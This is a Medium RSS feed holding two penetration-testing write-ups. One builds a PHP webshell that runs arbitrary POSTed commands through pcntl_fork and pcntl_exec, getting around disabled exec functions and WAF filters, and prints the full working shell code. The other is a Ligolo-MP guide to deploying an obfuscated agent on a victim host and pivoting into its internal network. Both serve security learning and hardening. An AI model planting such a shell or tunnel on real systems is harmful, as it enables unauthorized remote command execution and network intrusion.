<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Soman on Medium]]></title>
        <description><![CDATA[Stories by Soman on Medium]]></description>
        <link>https://medium.com/@soman07?source=rss-425c77411a74------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*9KBXjvqooTppgMbU.</url>
            <title>Stories by Soman on Medium</title>
            <link>https://medium.com/@soman07?source=rss-425c77411a74------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 24 Nov 2026 03:59:27 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@soman07/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[PHP RCE in a Restricted Environment Using pcntl_fork and pcntl_exec]]></title>
            <link>https://medium.com/@soman07/php-rce-in-a-restricted-environment-using-pcntl-fork-and-pcntl-exec-50e07ef54168?source=rss-425c77411a74------2</link>
            <guid isPermaLink="false">https://medium.com/p/50e07ef54168</guid>
            <category><![CDATA[remote-code-execution]]></category>
            <category><![CDATA[php]]></category>
            <category><![CDATA[red-teaming]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <dc:creator><![CDATA[Soman]]></dc:creator>
            <pubDate>Mon, 23 Jun 2025 15:31:22 GMT</pubDate>
            <atom:updated>2025-06-24T02:29:14.530Z</atom:updated>
            <content:encoded><![CDATA[<p>⚠️ Disclaimer: This content is for educational purposes only. Do not use in unauthorized environments</p><h3>📖 Background</h3><p>In hardened PHP environments, most dangerous execution functions like exec(), shell_exec(), and system() are often disabled using disable_functions in php.ini. This makes achieving Remote Code Execution (RCE) a bit tricky — but not impossible.</p><p>This write-up is about how I hit a wall, and still found a way through — using an overlooked function: pcntl_exec().</p><h3>🐚 Got a Shell — But Nothing Worked</h3><p>After uploading a simple PHP shell to the target (192.168.1.8:8081), I opened it in the browser. The shell UI loaded — just a textbox for input and a Run button.</p><p>I typed:</p><pre>whoami</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/655/1*KuZZSVoD4VxXr_v9JaTbYg.png" /><figcaption><strong>whoami</strong> Command</figcaption></figure><p>Clicked <strong>Run</strong> — Got error</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UU2FHjlSbG4VRtexIcpUww.png" /><figcaption>Error</figcaption></figure><blockquote><strong><em>Fatal error: Uncaught Error: Call to undefined function shell_exec()</em></strong></blockquote><p>I checked the webshell code and realized it was using shell_exec() internally. Which is disabled.</p><h3>🧪 Function Check — What’s Actually Usable?</h3><p>I wrote a quick function checker script to confirm what was available on the server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/866/1*lg27heVVtiqXNpB9UliWzw.png" /><figcaption><strong>Function Check</strong></figcaption></figure><p><strong>🔒 Disabled:</strong></p><pre>exec, shell_exec, system, passthru, popen, proc_open, <br>curl_exec, phpinfo, base64_encode, ftp_connect</pre><p><strong>✅ Enabled:</strong></p><pre>pcntl_exec, pcntl_fork</pre><p>One name immediately stood out: pcntl_exec</p><h3>🧩What Are pcntl_fork() and pcntl_exec() — And Why Should You Care?</h3><p>In most web apps, you don’t come across these functions. But in CLI-based PHP scripts, they’re powerful.</p><ul><li>pcntl_fork() creates a <strong>child process</strong> — kind of like opening another terminal window inside your script. It&#39;s useful for parallel jobs or background execution.</li><li>pcntl_exec() <strong>replaces</strong> the current process with a new one — like /bin/sh. It doesn’t run a command — it <em>becomes</em> the command.</li></ul><p>These are designed for CLI, not web apps.<br> But if enabled in a web context, they can be <strong>silently exploited</strong>.</p><h3>🛠️Building a Custom Shell with pcntl_exec() + pcntl_fork()</h3><p>With all the standard execution functions disabled, I took a different approach — combining pcntl_fork() with pcntl_exec().</p><h3>💻 Code:</h3><pre>&lt;?php<br>if ($_SERVER[&#39;REQUEST_METHOD&#39;] === &#39;POST&#39; &amp;&amp; isset($_POST[&#39;cmd&#39;])) {<br>    $cmd = trim($_POST[&#39;cmd&#39;]);<br>    if ($cmd !== &#39;&#39;) {<br>        $tmpFile = sys_get_temp_dir() . &#39;/cmd_output.txt&#39;;<br>        if (function_exists(&#39;pcntl_fork&#39;) &amp;&amp; function_exists(&#39;pcntl_exec&#39;)) {<br>            $pid = pcntl_fork();<br>            if ($pid == -1) {<br>                echo &quot;Fork failed.&quot;;<br>            } elseif ($pid === 0) {<br>                pcntl_exec(&#39;/bin/sh&#39;, [&#39;-c&#39;, $cmd . &quot; &gt; $tmpFile 2&gt;&amp;1&quot;]);<br>                exit(1);<br>            } else {<br>                pcntl_wait($status);<br>                if (file_exists($tmpFile)) {<br>                    echo &quot;&lt;pre&gt;&quot; . htmlspecialchars(file_get_contents($tmpFile)) . &quot;&lt;/pre&gt;&quot;;<br>                    unlink($tmpFile);<br>                } else {<br>                    echo &quot;No output.&quot;;<br>                }<br>            }<br>        } else {<br>            echo &quot;pcntl functions not available.&quot;;<br>        }<br>    }<br>}<br>?&gt;<br>&lt;form method=&quot;post&quot;&gt;<br>    &lt;input type=&quot;text&quot; name=&quot;cmd&quot; placeholder=&quot;Enter command&quot; /&gt;<br>    &lt;input type=&quot;submit&quot; value=&quot;Run&quot; /&gt;<br>&lt;/form&gt;</pre><h3>🔧 What it does:</h3><ul><li>Accepts command input via a POST form</li><li>Uses pcntl_fork() to safely create a child process</li><li>In the child, uses pcntl_exec() to run /bin/sh -c &quot;&lt;command&gt;&quot;</li><li>Redirects output to cmd_output.txt</li><li>Parent waits, then reads and displays output</li><li>Output file is deleted after use.</li></ul><p>I again uploaded this new shell to the target machine, and Boom, it works.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/938/1*t4vlIMA2Et50T8ITaXx11A.png" /><figcaption><strong>New Shell Output</strong></figcaption></figure><h3>🔍 Why This Worked</h3><ul><li>pcntl_exec() is <strong>rarely enabled</strong> in web apps</li><li>Shell redirection (&gt;) was handled by /bin/sh, <strong>not PHP</strong></li><li>Using <strong>POST</strong> avoided URL-based WAF filters</li><li>Output went to a file, avoiding echo or system() calls</li></ul><h3>🔚 Conclusion</h3><p>In a world where defenders are busy disabling exec(), shell_exec(), and locking down the obvious, it’s the lesser-known doors that attackers quietly slip through.</p><p>This entire exploitation hinged on <strong>one misconfiguration</strong> — an enabled pcntl_exec() in a web context. Something so rare, most people wouldn’t even bother to check for it. But once found, it opened up full RCE without triggering a single alarm, bypassing every traditional filter, WAF, or hardening layer.</p><p>What this proves is simple:</p><p>🔸<strong>Just disabling common functions isn’t enough.</strong><br> 🔸<strong>Security through obscurity doesn’t work.</strong><br> 🔸<strong>Auditing all enabled PHP extensions and functions matters, especially the ones no one talks about.</strong></p><p>At the end of the day, this was a textbook case of:</p><blockquote><strong>“One overlooked function, full system compromise.”</strong></blockquote><p>So whether you’re a bug bounty hunter, a pentester, or a developer hardening your app — always remember:</p><p>🔥 <strong>It’s not the front door that gets kicked in. It’s the tiny window you forgot was open.</strong></p><h3>🙇 Final Note</h3><p>This is my <strong>second write-up</strong>, and I’m still learning and growing in this space.</p><p>If there’s any mistake, technical miss, or something I could have done better — please feel free to correct me. Your suggestions and feedback would mean a lot 🙏</p><p>Let’s keep learning, breaking, and securing — together! 💻⚔️</p><h3>Special Thanks</h3><p>A big shoutout to <a href="https://www.linkedin.com/in/shivam-sharma-547061228/">Comrade</a> and <a href="https://www.linkedin.com/in/shikhar1230/">Shikhar</a> for helping out with this setup. Their contributions and support were crucial in making this happen.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=50e07ef54168" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Ligolo-MP Setup and Pivoting Guide for Internal Network Access]]></title>
            <link>https://medium.com/@soman07/ligolo-mp-setup-and-pivoting-guide-for-internal-network-access-f857be0a6d93?source=rss-425c77411a74------2</link>
            <guid isPermaLink="false">https://medium.com/p/f857be0a6d93</guid>
            <category><![CDATA[redteam-tool]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[network-penetration]]></category>
            <dc:creator><![CDATA[Soman]]></dc:creator>
            <pubDate>Sun, 06 Apr 2025 07:20:12 GMT</pubDate>
            <atom:updated>2025-04-06T07:20:12.579Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tvAVOrzQ9FKe6OsHJZ3EXQ.png" /></figure><h3>Introduction</h3><p>We set up Ligolo-MP in a simulated internal network lab. This guide walks through our process — from installation to full internal access.</p><p><strong>What is Ligolo-MP?</strong> <strong>Ligolo-MP</strong> is an advanced version of Ligolo-ng with client-server architecture, enabling pentesters to play with multiple concurrent tunnels collaboratively. It manages all your TUNs automatically while also providing a clean GUI to track everything.</p><h3>Key Features</h3><ul><li>Multiplayer support</li><li>Automatic TUN management</li><li>Unlimited concurrent relays</li><li>SOCKS and HTTP proxy support</li><li>Routing to loopback of target (no port forwarding needed)</li><li>Independent listener redirectors</li><li>Dynamic mTLS-enabled agent generation with obfuscation</li><li>Simplified certificate handling</li><li>Terminal-based GUI for agent management</li></ul><p>⚠️ <strong>Disclaimer:</strong> This content is for educational purposes only. Do not use in unauthorized environments.</p><h3>Prerequisites</h3><p>Before starting, make sure you have the following dependencies installed:</p><ol><li><strong>Go (Golang) 1.21+</strong></li><li><strong>Python 3</strong></li><li><strong>Victim Machine</strong>: Windows/Linux (We use Window machine as victim machine)</li><li><strong>Attacker Machine:</strong> Kali Linux / Ubuntu</li></ol><p>Let’s go to the installation part</p><h3>Setting Up Ligolo-mp</h3><p><strong>Download the Ligolo-MP</strong></p><pre>wget https://github.com/ttpreport/ligolo-mp/releases/download/v2.0.1/ligolo-mp_linux_amd64</pre><p><strong>Give executable permission to the binary</strong></p><pre>chmod +x ligolo-mp_linux_amd64</pre><p><strong>Run the Ligolo-mp</strong></p><pre>./ligolo-mp_linux_amd64</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*H0-eSoW_kWdGsitxnpjSIw.png" /><figcaption><strong>Press enter</strong></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/565/1*YWbaP-cbr19mB9MZg5no6Q.png" /><figcaption><strong>Click on connect.</strong></figcaption></figure><p><strong>Generate agent</strong></p><p>You can generate an agent according to your victim machine. In our case, our compromised machine is a window.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Jte3F9u0jYQJmM3uQsKWyw.png" /><figcaption><strong>Press CTRL-N</strong></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6UGck7o3FGTY048yactIUw.png" /><figcaption><strong>After clicking CTRL-N this screen will appear</strong></figcaption></figure><p>The <strong>Server IP</strong> refers to the IP address of the attacker’s machine (Proxy). After submission, a bin file will generate (you can also generate an obfuscate agent) and be saved to the same directory.</p><p>For Windows, rename the bin file to an exe</p><pre>mv agent.bin agent.exe</pre><p><strong>Deliver the agent to compromised machine</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qRCjVHEZwzGSULTvbTP0Fw.jpeg" /><figcaption><strong>Run the exe on the victim machine</strong></figcaption></figure><p>After running the agent on the compromised machine, get a connection on attacker Ligolo server</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*a04J2PmvQ8KynTzLcphTYw.png" /><figcaption><strong>Connection Established</strong></figcaption></figure><p>You have successfully installed and connected the Ligolo agent.</p><p><strong>For interacting with the internal network of the compromised machine, we need to setup Tunnel</strong></p><p>We can verify the network connections by showing the interfaces of the connected agent. As shown in the screenshot, the compromised machine has access to the 192.168.179.0/24 network. Our next step is to add an entry to the route.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ztPt8-_kaJ40Wgo98kI-Vg.png" /><figcaption><strong>Press TAB button to see all network interfaces</strong></figcaption></figure><p>To interact with the internal network, we need to set up the tunnel and configure the route to establish a connection. In case the compromised machine has multiple network cards, you can add multiple routes at the same time.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ddrq06_NqyxVLvecaRiXIg.png" /><figcaption><strong>Click submit and start relay</strong></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SDJf63HQuAHiVz61FvVGlg.png" /></figure><p>At this stage, a tun0 network interface appears on the attacker machine. This can be verified by executing the ifconfig command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/786/1*w7E2Vc70ZyY0L21-XSE-pQ.png" /><figcaption><strong>tun0 Created</strong></figcaption></figure><p>Once the tunnel is successfully established and the Agent is securely connected to the Proxy, you can now begin to interact with the internal network of the compromised system.</p><p>We can scan the internal network for different protocols like SSH, RDP, and SMB, etc. For demonstration purpose, we scan the SSH protocol of the compromised network.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*y92SMOY9Q28hXQNdEgZs6w.png" /></figure><h3>Ligolo-NG vs. Ligolo-MP</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wdIzxQqOuY2xd90DLCe1Aw.jpeg" /></figure><h3>Conclusion</h3><p>The Ligolo-MP setup allows pentesters to establish a seamless reverse tunnel between the attacker (Proxy) and the compromised (Agent) machine, facilitating interaction with the internal network of the victim. After installing and configuring Ligolo-MP, you generate a custom agent for the victim machine, deploy it, and establish a connection. Once the tunnel (TUN) interface is created on the attacker’s machine, you can scan the internal network for vulnerabilities or services (e.g., SSH, RDP, SMB) to exploit.</p><p>By using this method, you bypass firewalls and network restrictions, gaining access to internal resources as though you were physically on the victim’s network. The process involves straightforward steps such as network routing configuration and verifying connectivity through the created TUN interface.</p><p>In summary, Ligolo-MP provides an efficient way to pivot within an internal network, enabling full exploitation and reconnaissance while maintaining control and visibility via a simple GUI and automatic tunnel management.</p><h3>Special Thanks</h3><p>A big shoutout to <a href="https://www.linkedin.com/in/shivam-sharma-547061228/">Comrade</a> and <a href="https://www.linkedin.com/in/shikhar1230/">Shikhar</a> for helping out with this setup. Their contributions and support were crucial in making this happen.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f857be0a6d93" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>